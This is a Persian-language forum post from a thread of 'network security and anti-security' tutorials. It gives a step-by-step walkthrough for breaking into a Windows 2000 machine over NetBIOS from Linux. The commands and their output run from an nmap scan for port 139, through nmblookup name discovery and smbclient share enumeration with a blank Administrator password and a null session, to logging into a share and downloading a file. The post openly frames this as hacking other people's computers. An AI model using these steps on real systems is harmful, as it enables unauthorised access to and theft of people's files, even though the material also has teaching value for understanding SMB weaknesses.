0

آموزش های تخصصی شبکه و امنیت و ضد امنیت

 
amindadaadad
amindadaadad
کاربر طلایی3
تاریخ عضویت : دی 1389 
تعداد پست ها : 3567
محل سکونت : سیستان و بلوچستان

پاسخ به:آموزش های تخصصی شبکه و امنیت و ضد امنیت
پنج شنبه 26 مرداد 1391  1:42 AM

- Samba چيست؟

احتمالا ميدونيد که Netbios پرتکل معروف مايکروسافت براي ارتباط ويندوز ها با هم و احتمالا Share کردن پرينتر يا فايله. همچنين وقتي که بحث نفوذ به Client و بر بعضي مواقع Server ها پيش مياد، Netbios يکي از اولين انتخاب هاست. ما در اين مقاله سعي ميکنيم از اين ضعف سيستم عاملهاي مايکروسافت سوءاستفاده کنيم. 
سيستم عاملهاي بر پاييه يونيکس مثل لينوکس براي Share کردن فايلها و پرينتر ها از طريق Netbios از پرتکل Smb/Cifs که توسط برنامه Samba باز ميشه استفاده ميکنن و از اين طريق لينوکس ميتونه Share هاي کامپيوتر هاي ويندوز رو Mount کنه. (اگه کاربر لينوکس هستيد، نمي‌تونيد روش‌هايي که در درس قبلي براي ويندوز ذکر شده استفاده کنيد، بلکه بايد از Samba بهره گيريد. اما طرف مقابل که قرار است هک بشه، سيستم‌عاملش رو فرض مي‌کنيم که ويندوزه. پس ما مي‌خوايم با لينوکس يک سيستم‌عامل ويندوز را که ۱۳۹ باز داره، هک کنيم) بي شک Netbios عمومي ترين مشکل امنيتي ويندوزه که استفاده ازش چندان مشکل نيست. 
خب ! همون طور که گفتم ما براي اين کار از Samba استفاده ميکنيم. من اينجا چيزي در مورد Samba نمي‌نويسم و بنا کار رو بر اين ميگذارم که تا حدودي ميتونيد با Samba کار کنيد . اگر احتمالا مشکلي داريد ميتونيد به Samba.org سر بزنيد و در Documention ها دنبال راهنما باشيد  به طور کل اگر نميدونيد چطور از Samba استفاده کنيد بهتره که کاري با کامپيوتر هاي مردم نداشته باشيد ! 


- چگونه با پورت ۱۳۹ صحبت کنيم؟

۱- اولين قدم پيدا کردن کامپيوتريه که پرت 139 و 137 که پرت Netbios هست رو باز کرده باشه. براي اينکار از Nmap استفاده مي‌کنيم. Nmap معمولا رو همه Description هاي فعلي پيدا ميشه. مي‌خوام به کمک Nmap تست کنم که از ip شماره 192.168.3.50 تا 192.168.3.1 کدام‌ها پورت ۱۳۹ باز دارند. براي اين کار مي‌نويسم: 
# nmap -sS -O 192.168.3.1-50 -p 139و جواب مي‌شنوم: 
st 1 open and 1 closed TCP portInteresting ports on (192.168.3.2):Port State Service139/tcp open netbios-ssnRemote OS guesses: Windows Millennium Edition (Me), Win 2000,
or WinXP, MS Windows2000 Professional RC1/W2K Advance Server Beta3بايد اينو بهتون بگم که من دارم اين کار رو روي Lan انجام ميدم و همه Ip ها Static هستند. ولي خب کار رو جوري در نظر ميگيرم که گويا نميدونم چه Host هاي اينجا وجود دارن  192.168.3.1 يک SuSE 8 هست که کار رو از طريقش انجام ميديم و 192.168.3.2 يک win2kpro sp2 هست که قربانيه و البته FireWall نداره  من اينجا از آيپي هاي کلاس C استفاده ميکنم ممکنه وضع شما تو اينترنت فرق کنه، ولي خب نحوه کار تغيير نميکنه. حالا هدف رو پيدا کرديم، هدف ما 192.168.3.2 هست . 

۲- قدم دوم گرفتن NetbiosName هاي هدفه. بدون اين اسمها ما نميتونيم هيچ جور اطلاعاتي از هدف بگيريم. از اونجايي که مايکروسافت سعي کرده همه کارها رو ساده کنه، ويندوز هاي رو شبکه Netbios به جاي Ip Address از اسم استفاده ميکنن!! خب اينجا لازمه از يه Netbios Scanner يا Share Scanner استفاده کنيم. معمولا رو هر Description يي دستور nmblookup پيدا ميشه - که خيلي شبيه nbtstat ويندوزه - رو لينوکس کار ميکنه. من شخصا خيلي از nmblookup خوشم نمياد چون Share Scanner هاي بسيار بهتري هستن !  به هر صورت من اينجا از nmblookup استفاده ميکنم . شکل کلي دستور اينه : nmblookup –A . اين flag ه A باعث ميشه که nmblookup بتونه Query بهتري انجام بده . حالا رو هدفهوم امتحان ميکنيم : 
# nmblookup –A 192.168.3.2و جواب مي‌گيرم: 
Looking up status of 192.168.3.2 ARMINLAPTOP <00> - B < ACTIVE> WORKGROUP <00> - < GROUP> B < ACTIVE> ARMINLAPTOP <03> - B < ACTIVE> ARMINLAPTOP <20> - B < ACTIVE> WORKGROUP <1e> - < GROUP> B < ACTIVE> ADMINISTRATOR <03> - B < ACTIVE> WORKGROUP <1d> - B < ACTIVE> ..__MSBROWSE__. <01> - < GROUP> B < ACTIVE>همه چيز مشخصه نه ؟ اسم کامپيوتر ARMINLAPTOP , گروه کامپيوتر WORKGROUP و کاربر فعال Administrator هست  

۳- بگذارين قبل از قسمت سوم کار يکمي در مورد ويندوز ها صحبت کنيم. Netbios به طور کلي روي همه ويندوز ها به نوعي خطر ايجاد ميکنه. رو ويندوز هاي سري 2000 به بالا همه پارتيشن هاي سيستم Share شده اند و با پسوردي که Administrator دارد، باز ميشن. خيلي از کاربران تازه کار هم پسورد Administrator رو خالي ميگذارن. به نظر من اين سري ويندوز ها بيشتر در خطر هستند. رو ويندوز هاي 9x هيچ فايلي به طور Default Share نشده، ولي خوب اگر بشه ممکنه بتونيم از طريقش بدون پسورد وارد فايل سيستم بشيم حتي اگر پسورد Administrator رو هم نداشته باشيم Anonymous Login ميتونه اطلاعات خيلي مفيدي بهموم بده  حالا مي‌خواهيم ليست Share ها رو بدست بياوريم . ( در درس قبلي براي ويندوز از دستور net view براي همين‌کار استفاده کرديم) توجه کنيد که کرنل بايد Network File System و Samba File System رو ساپرت کرده باشه : در اين مثال در نظر گرفتم که پسورد Administrator خاليه !  مي‌نويسم: 
# smbclient –Uadministrator –LARMINLAPTOP –I 192.168.3.2نتيجه دستور به صورت زير است: 
added interface ip=192.168.3.1 bcast=192.168.3.255 nmask=255.255.255.0Passwordomain=[WORKGROUP] OS=[Windows 5.0] Server=[Windows 2000 LAN Manager] Sharename Type Comment --------- ---- ------- IPC$ IPC Remote IPC D$ Disk Default share ADMIN$ Disk Remote Admin C$ Disk Default share Armin Disk Server Comment --------- ------- ARMINDESKTOP Samba 2.2.3a ARMINLAPTOP Workgroup Master --------- ------- WORKGROUP ARMINLAPTOPخب ميبينيد ؟  هر دو پارتيشن ARMINLAPTOP در اختيار شماست !  همچنين کامپيوتر هايي که باهاش در ارتباط هستند رو هم ميبينيم. در اين مثال ملاحظه مي‌فرماييد که Armin به عنوان Disk به‌اشتراک گذاشته شده. خب قبل از اينکه بريم سراغ بقيه کار يک بار هم Anonymous رو امتحان ميکنيم ( يه چيزي مثل Null Session ): 
# smbclient -LARMINLAPTOP -I 192.168.3.2و جواب: 
added interface ip=192.168.3.1 bcast=192.168.3.255 nmask=255.255.255.0Password:Anonymous login successfulDomain=[WORKGROUP] OS=[Windows 5.0] Server=[Windows 2000 LAN Manager] Sharename Type Comment --------- ---- -------Error returning browse list: NT_STATUS_ACCESS_DENIED Server Comment --------- ------- ARMINDESKTOP Samba 2.2.3a ARMINLAPTOP Workgroup Master --------- ------- WORKGROUP ARMINLAPTOPخب باز هم يه اطلاعاتي پيدا ميکنيم !  با اينکه فايلهاي Share شده رو نميبينيم، به هر صورت از هيچي بهتره ! شايد يه جاي ديگه به درد بخوره ! 

۴- خب حالا سعي ميکنيم که اين Share هارو Mount کنيم. مي‌نويسيم: 
# smbclient //ARMINLAPTOP/Armin -I 192.168.3.2و جواب مي‌شنوم: 
added interface ip=192.168.3.1 bcast=192.168.3.255 nmask=255.255.255.0Password:session setup failed: NT_STATUS_LOGON_FAILUREخب ! Share توسط Password محافظت ميشه !  کار زيادي نمي‌تونيم انجام بديم. مثلا مي‌تونيم همين Null پسورد رو امتحان کنم، ولي خب اگر با Win9x طرف باشيم کاري نميشه کرد . حالا رو ويندوز 2000 به بالا کار مي‌کنيم. روي اينکه کاربر ناشي باشه و پسورد Administrator رو خالي گذاشته باشه خيلي حساب کرديم : 
# smbclient //ARMINLAPTOP/Armin -I 192.168.3.2 -Uadministratorو جواب مي‌شنوم: 
added interface ip=192.168.3.1 bcast=192.168.3.255 nmask=255.255.255.0Passwordomain=[WORKGROUP] OS=[Windows 5.0] Server=[Windows 2000 LAN Manager]smb: \> اين </: smb مثل خط فرمان مي‌مونه و مي‌تونين دستورات رو تايپ کنيد براش. کار تمومه! هر کاري که دوست داشته باشين ميتونين با اين راه رو هر Share اي انجام بديد  مثلا مي‌نويسم: 
smb: \> lsو جواب مي‌شنوم: 
. DA 0 Sat Feb 8 0511 2003 .. DA 0 Sat Feb 8 0511 2003 Blcorp D 0 Sat Feb 8 03:05:51 2003 47943 blocks of size 65536. 8261 blocks availableو ادامه مي‌دم به صورت زير: 
smb: \> cd Blcorpsmb: \Blcorp\> ls . D 0 Sat Feb 8 03:05:51 2003 .. D 0 Sat Feb 8 03:05:51 2003 WLTrial.exe A 2321412 Mon Apr 29 1458 2002 47943 blocks of size 65536. 8261 blocks availablesmb: \Blcorp\> get WLTrial.exegetting file WLTrial.exe of size 2321412 as WLTrial.exe (892.2 kb/s) ...smb: \Blcorp\>شما ميتونيد از دستور Pull براي فرستادن فايل و get براي گرفتن فايل استفاده کنيد  فايلها گرفته شده در دايرکتوري فعلي شما ذخيره ميشوند . قسمت اميدوار کننده کار اينه که خيلي از مردم از ويندوز استفاده ميکنن و اکثرشون حتي نميدونن که همه فايل سيستم هاشون بدون پسورد به راحتي قابل دسترسه. خب ما هم اينهارو ياد نمي‌گيريم که دور دنيا بچرخيم و فايلهاي مردم رو پاک کنيم !


- FAQ

- آيا Samba به نا امني Netbios ويندوز است ؟ 
نه اصلا ! Samba يک برنامه پرقدرته , اگر خوب Config شه احتمال هک شدنش بسيار پايينه ! فرض کنيد از طريق سيستم‌عامل ويندوز مي‌خوام اين کامپيوتري که Samba داره رو هک کنم. دستور تايپ شده و جواب بدست اومده بيانگر امنيت Samba ست: 
C:\>nbtstat -A 192.168.3.1Local Area Connection 2:Node IpAddress: [192.168.3.2] Scope Id: [] 

** دارالولایه **

درباره امضاء

تشکرات از این پست
دسترسی سریع به انجمن ها